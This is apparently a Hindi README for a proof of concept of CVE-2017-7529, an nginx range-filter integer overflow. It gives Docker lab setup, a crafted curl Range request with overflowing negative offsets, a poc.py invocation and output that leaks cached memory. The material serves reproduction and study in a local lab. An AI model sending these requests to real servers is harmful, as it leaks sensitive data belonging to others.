
Nginx (ver. 0.5.6 - 1.13.2) रिमोट इंटीजर ओवरफ्लो
Nginx संस्करण 0.5.6 से 1.13.2 तक nginx रेंज फ़िल्टर मॉड्यूल में पूर्णांक अतिप्रवाह (integer overflow) भेद्यता से ग्रस्त हैं, जिसके परिणामस्वरूप विशेष रूप से तैयार किए गए अनुरोध से संभावित संवेदनशील जानकारी का रिसाव हो सकता है। स्रोत: https://nvd.nist.gov/vuln/detail/CVE-2017-7529
अन्य ओपन सोर्स में आपको जानकारी मिल सकती है कि यह भेद्यता केवल Apache2 और केवल इमेज फ़ाइलों के साथ ही दोहराई जा सकती है, लेकिन ऐसा नहीं है। यह भेद्यता Nginx के माध्यम से प्रॉक्सी की गई किसी भी एप्लिकेशन के साथ काम करती है। मुख्य बात यह है कि सर्वर हेडर Accept-Ranges: bytes लौटाता है। इसे nginx कॉन्फ़िगरेशन में मैन्युअल रूप से जोड़ा जा सकता है: proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
Content-Length प्राप्त करने के लिए एक GET अनुरोध भेजें और प्रतिक्रिया को कैश में संग्रहीत करें। रेंज के साथ Range हेडर जोड़कर अनुरोध को पुनः भेजें।
-n,-(0x8000000000000000-n)$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
या poc.py स्क्रिप्ट का उपयोग करें।
$ python3 poc.py http://localhost:8000/ 513
परिणाम:
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20